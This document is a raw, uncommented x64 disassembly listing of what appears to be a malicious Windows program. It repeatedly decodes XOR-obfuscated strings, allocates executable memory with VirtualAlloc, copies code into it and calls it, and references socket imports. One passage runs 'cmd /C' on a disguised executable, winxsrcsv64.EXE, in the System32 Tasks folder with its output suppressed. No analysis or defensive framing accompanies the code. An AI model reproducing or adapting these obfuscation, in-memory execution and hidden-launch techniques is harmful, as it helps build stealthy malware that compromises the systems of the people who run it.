movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140006be0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp - 0x10]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x560]
call fcn.140022f30
nop
lea rcx, [rbp + 0x540]
call fcn.140022f30
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 8]
call fcn.140022d20
mov r12, rax
mov edx, 0xa
lea rcx, [rbp + 0x580]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x5ac0]
lea rcx, [rsp + 0x25]
call fcn.14001e860
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x140006e52
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140006e1d
mov edx, ebx
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov r8d, dword [rbp + 0x68d0]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140006d30
jmp 0x140006e52
mov r9, r10
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x140006e20
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x5a0]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x140006eda
mov rdx, rbx
cmp rax, rsi
je 0x140006ec9
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x140006eb1
jmp 0x140006eda
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x140006fbf
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140006f03
mov r8, rbx
jmp 0x140006f9e
mov rax, rsi
mov rcx, r8
mov rdx, r13
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140006f10
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x5a0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x580]
call fcn.140022f30
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 8]
call fcn.140022d20
mov r12, rax
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x5c0]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x5920]
lea rcx, [rsp + 0x26]
call fcn.14001e8a0
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x140007182
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14000714d
mov edx, ebx
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov r8d, dword [rbp + 0x68d0]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140007060
jmp 0x140007182
mov r9, r10
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x140007150
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x5e0]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp + 0x10], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x14000720a
mov rdx, rbx
cmp rax, rsi
je 0x1400071f9
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x1400071e1
jmp 0x14000720a
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x1400072ef
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140007233
mov r8, rbx
jmp 0x1400072ce
mov rax, rsi
mov rcx, r8
mov rdx, r13
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140007240
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp + 0x10]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x5e0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x5c0]
call fcn.140022f30
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x18]
call fcn.140022d20
mov r12, rax
mov edx, 0xa
lea rcx, [rbp + 0x600]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x5b30]
lea rcx, [rsp + 0x27]
call fcn.14001e8e0
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x1400074b2
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14000747d
mov edx, ebx
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov r8d, dword [rbp + 0x68d0]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140007390
jmp 0x1400074b2
mov r9, r10
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x140007480
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x620]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp + 0x20], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x14000753a
mov rdx, rbx
cmp rax, rsi
je 0x140007529
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x140007511
jmp 0x14000753a
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x14000761f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140007563
mov r8, rbx
jmp 0x1400075fe
mov rax, rsi
mov rcx, r8
mov rdx, r13
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140007570
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp + 0x20]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x620]
call fcn.140022f30
nop
lea rcx, [rbp + 0x600]
call fcn.140022f30
lea rcx, str.cmd__C_C:WindowsSystem32Taskswinxsrcsv64.EXE__SU_AUTO__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x28]
call fcn.140022d20
mov r12, rax
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x640]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x5b68]
lea rcx, [rsp + 0x28]
call fcn.14001e920
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x1400077f2
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400077bd
mov edx, ebx
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov r8d, dword [rbp + 0x68d0]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x1400076d0
jmp 0x1400077f2
mov r9, r10
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x1400077c0
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x660]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp + 0x30], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x14000787a
mov rdx, rbx
cmp rax, rsi
je 0x140007869
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x140007851
jmp 0x14000787a
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x14000795f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400078a3
mov r8, rbx
jmp 0x14000793e
mov rax, rsi
mov rcx, r8
mov rdx, r13
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400078b0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp + 0x30]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x660]
call fcn.140022f30
nop
lea rcx, [rbp + 0x640]
call fcn.140022f30
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x38]
call fcn.140022d20
mov r12, rax
mov edx, 0xa
lea rcx, [rbp + 0x680]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x5ba0]
lea rcx, [rsp + 0x29]
call fcn.14001e960
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x140007b22
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140007aed
mov edx, ebx
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov r8d, dword [rbp + 0x68d0]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140007a00
jmp 0x140007b22
mov r9, r10
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x140007af0
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x6a0]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x140007baa
mov rdx, rbx
cmp rax, rsi
je 0x140007b99
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x140007b81
jmp 0x140007baa
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x140007c8f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140007bd3
mov r8, rbx
jmp 0x140007c6e
mov rax, rsi
mov rcx, r8
mov rdx, r13
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140007be0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp + 0x40]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x6a0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x680]
call fcn.140022f30
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x48]
call fcn.140022d20
mov r12, rax
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x6c0]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x5bd8]
lea rcx, [rsp + 0x2a]
call fcn.14001e9a0
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x140007e52
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140007e1d
mov edx, ebx
